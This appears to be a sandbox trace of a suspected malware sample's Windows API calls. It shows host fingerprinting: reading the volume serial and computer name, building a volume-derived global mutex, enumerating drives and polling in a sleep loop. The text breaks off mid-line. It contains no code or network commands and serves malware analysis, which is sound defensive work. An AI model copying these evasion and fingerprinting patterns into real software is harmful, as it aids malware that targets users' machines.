[0063.890] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0063.890] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0063.890] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0063.890] CloseHandle (hObject=0x1c0) returned 1 [0063.890] GetProcessHeap () returned 0x730000 [0063.890] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0063.890] GetProcessHeap () returned 0x730000 [0063.890] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0063.890] Sleep (dwMilliseconds=0x3e8) [0065.319] GetProcessHeap () returned 0x730000 [0065.319] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x74a1d8 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48d0 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0065.319] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x74a1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0065.319] GetProcessHeap () returned 0x730000 [0065.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0065.319] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0065.320] GetProcessHeap () returned 0x730000 [0065.320] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1d8 | out: hHeap=0x730000) returned 1 [0065.320] GetProcessHeap () returned 0x730000 [0065.320] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0065.320] GetProcessHeap () returned 0x730000 [0065.320] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0065.320] GetProcessHeap () returned 0x730000 [0065.320] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0065.320] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0065.321] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0065.321] CloseHandle (hObject=0x1bc) returned 1 [0065.321] GetProcessHeap () returned 0x730000 [0065.321] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0065.321] GetProcessHeap () returned 0x730000 [0065.321] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0065.321] Sleep (dwMilliseconds=0x3e8) [0068.874] GetProcessHeap () returned 0x730000 [0068.874] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0068.874] GetProcessHeap () returned 0x730000 [0068.874] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x2ef48d0 [0068.874] GetProcessHeap () returned 0x730000 [0068.874] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48f8 [0068.874] GetProcessHeap () returned 0x730000 [0068.875] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0068.875] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2ef48d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48f8 | out: hHeap=0x730000) returned 1 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0068.875] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0068.875] GetProcessHeap () returned 0x730000 [0068.875] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73f9a0 [0068.875] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0068.876] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0068.876] CloseHandle (hObject=0x1c0) returned 1 [0068.876] GetProcessHeap () returned 0x730000 [0068.876] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0068.876] GetProcessHeap () returned 0x730000 [0068.876] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0068.876] Sleep (dwMilliseconds=0x3e8) [0070.043] GetProcessHeap () returned 0x730000 [0070.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0070.043] GetProcessHeap () returned 0x730000 [0070.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x2ef48d0 [0070.043] GetProcessHeap () returned 0x730000 [0070.044] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48f8 [0070.044] GetProcessHeap () returned 0x730000 [0070.044] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0070.044] GetProcessHeap () returned 0x730000 [0070.044] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0070.044] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2ef48d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.044] GetProcessHeap () returned 0x730000 [0070.044] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48f8 | out: hHeap=0x730000) returned 1 [0070.044] GetProcessHeap () returned 0x730000 [0070.044] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0070.044] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0070.045] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0070.045] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0070.045] CloseHandle (hObject=0x1bc) returned 1 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0070.045] GetProcessHeap () returned 0x730000 [0070.045] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0070.045] Sleep (dwMilliseconds=0x3e8) [0071.169] GetProcessHeap () returned 0x730000 [0071.169] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x2ef48d0 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48f8 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0071.169] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2ef48d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48f8 | out: hHeap=0x730000) returned 1 [0071.169] GetProcessHeap () returned 0x730000 [0071.169] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0071.169] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0071.170] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1bc [0071.170] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0071.170] CloseHandle (hObject=0x1bc) returned 1 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0071.170] GetProcessHeap () returned 0x730000 [0071.170] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0071.170] Sleep (dwMilliseconds=0x3e8) [0073.149] GetProcessHeap () returned 0x730000 [0073.149] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x2ef48d0 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48f8 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0073.149] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2ef48d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48f8 | out: hHeap=0x730000) returned 1 [0073.149] GetProcessHeap () returned 0x730000 [0073.149] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0073.149] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73f9a0 [0073.150] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d4 [0073.150] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0073.150] CloseHandle (hObject=0x1d4) returned 1 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0073.150] GetProcessHeap () returned 0x730000 [0073.150] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0073.150] Sleep (dwMilliseconds=0x3e8) [0075.243] GetProcessHeap () returned 0x730000 [0075.243] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x74a1b0 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x2ef48d0 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x2ef48f8 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x82fc60 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x82fc60 | out: hHeap=0x730000) returned 1 [0075.244] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2ef48d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48f8 | out: hHeap=0x730000) returned 1 [0075.244] GetProcessHeap () returned 0x730000 [0075.244] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a1b0 | out: hHeap=0x730000) returned 1 [0075.244] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe6f7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe6f7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef48d0 | out: hHeap=0x730000) returned 1 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7440d0 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x3a) returned 0x744118 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x744118, Size=0x72) returned 0x73fa20 [0075.245] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0075.245] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0075.245] CloseHandle (hObject=0x1cc) returned 1 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0075.245] GetProcessHeap () returned 0x730000 [0075.245] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73fa20 | out: hHeap=0x730000) returned 1 [0075.246] Sleep (dwMilliseconds=0x3e8) Thread: id = 15 os_tid = 0x798 [0051.967] GetProcessHeap () returned 0x730000 [0051.967] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x21a) returned 0x7559b8 [0051.967] GetProcessHeap () returned 0x730000 [0051.967] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x74a640 [0051.967] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0051.967] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0051.967] GetComputerNameW (in: lpBuffer=0x7559c8, nSize=0x280fbc8 | out: lpBuffer="XDUWTFONO", nSize=0x280fbc8) returned 1 [0051.968] GetProcessHeap () returned 0x730000 [0051.968] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x26) returned 0x74b060 [0051.968] CloseHandle (hObject=0x140) returned 1 [0051.968] CloseHandle (hObject=0x13c) returned 1 [0051.968] GetProcessHeap () returned 0x730000 [0051.968] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a640 | out: hHeap=0x730000) returned 1 [0051.968] GetProcessHeap () returned 0x730000 [0051.968] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b060 | out: hHeap=0x730000) returned 1 [0051.968] GetProcessHeap () returned 0x730000 [0051.968] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7559b8 | out: hHeap=0x730000) returned 1 [0051.968] GetProcessHeap () returned 0x730000 [0051.968] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dd28 | out: hHeap=0x730000) returned 1 Thread: id = 16 os_tid = 0x7bc [0051.969] GetLogicalDrives () returned 0x4 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7441a8 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x74a640 [0051.969] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0051.969] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749da0 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749dc8 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749ee0 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.969] GetProcessHeap () returned 0x730000 [0051.969] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.970] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749dc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749da0 | out: hHeap=0x730000) returned 1 [0051.970] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x12df7a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x12df7a4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b438 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b450 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b420 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.970] GetProcessHeap () returned 0x730000 [0051.970] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b408 [0051.970] htonl (hostlong=0x9c354b42) returned 0x424b359c [0051.970] QueryPerformanceCounter (in: lpPerformanceCount=0x12df698 | out: lpPerformanceCount=0x12df698*=17095072660) returned 1 [0051.970] GetTickCount () returned 0x1147d5b [0051.970] GetCurrentProcessId () returned 0xbb0 [0051.971] GetCurrentThreadId () returned 0x7bc [0051.971] GetLocalTime (in: lpSystemTime=0x12df680 | out: lpSystemTime=0x12df680*(wYear=0x7e4, wMonth=0x9, wDayOfWeek=0x3, wDay=0x1e, wHour=0x11, wMinute=0x21, wSecond=0x2c, wMilliseconds=0x4a)) [0051.971] SystemTimeToFileTime (in: lpSystemTime=0x12df680, lpFileTime=0x12df690 | out: lpFileTime=0x12df690) returned 1 [0051.971] QueryPerformanceCounter (in: lpPerformanceCount=0x12df698 | out: lpPerformanceCount=0x12df698*=17095125821) returned 1 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x28) returned 0x74b060 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b468 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74b090 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x74dd48 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b480 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x74a440 [0051.971] GetProcessHeap () returned 0x730000 [0051.971] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b498 [0051.971] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x7504d0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4b0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74dc38 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4c8 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x752bd0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4e0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x2) returned 0x74e7f0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74b398 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4f8 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x754288 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b510 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74b3a8 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e7f0, Size=0x82) returned 0x754310 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74b3a8, Size=0x100) returned 0x7559b8 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b528 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x755ac0 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b540 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x755b50 [0051.972] GetProcessHeap () returned 0x730000 [0051.972] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x754310, Size=0x104) returned 0x755be0 [0051.973] GetProcessHeap () returned 0x730000 [0051.973] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7559b8, Size=0x200) returned 0x755cf0 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: 